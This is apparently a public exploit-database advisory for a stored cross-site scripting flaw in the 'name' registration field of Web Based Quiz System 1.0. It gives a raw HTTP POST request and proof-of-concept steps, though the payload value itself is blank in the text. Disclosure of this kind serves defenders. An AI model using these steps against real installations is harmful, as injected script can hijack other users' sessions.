# Exploit Title: Web Based Quiz System 1.0 - 'name' Persistent/Stored Cross-Site Scripting # Date: 2021-03-02 # Exploit Author: P.Naveen Kumar # Vendor Homepage: https://www.sourcecodester.com # Software Download Link : https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html # Software : Web Based Quiz System # Version : 1.0 # Vulnerability Type : Cross-site Scripting # Vulnerability : Persistent/Stored XSS # Tested on: Windows 10 Pro # Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe # in registration form in name parameter affected from this vulnerability. # payload: # HTTP POST request POST http://localhost:8080/quiz/register.php HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------283640616528311462411171270636 Content-Length: 690 Origin: http://localhost:8080 Connection: keep-alive Referer: http://localhost:8080/quiz/register.php Cookie: PHPSESSID=ptujqhbkupjsqjkqs7tjhnb5er Upgrade-Insecure-Requests: 1 -----------------------------283640616528311462411171270636 Content-Disposition: form-data; name="name" -----------------------------283640616528311462411171270636 Content-Disposition: form-data; name="email" test123@gmail.com -----------------------------283640616528311462411171270636 Content-Disposition: form-data; name="password" Hacker -----------------------------283640616528311462411171270636 Content-Disposition: form-data; name="college" hello -----------------------------283640616528311462411171270636 Content-Disposition: form-data; name="submit" -----------------------------283640616528311462411171270636-- POC: # go to url http://localhost:8080/quiz/register.php # then you have to fill the above payload in name/username parameter # then fill the remaining details # then click submit # then login to user account # then attempt any one quiz after attempting go to ranking section then # you can see xss pop up there..!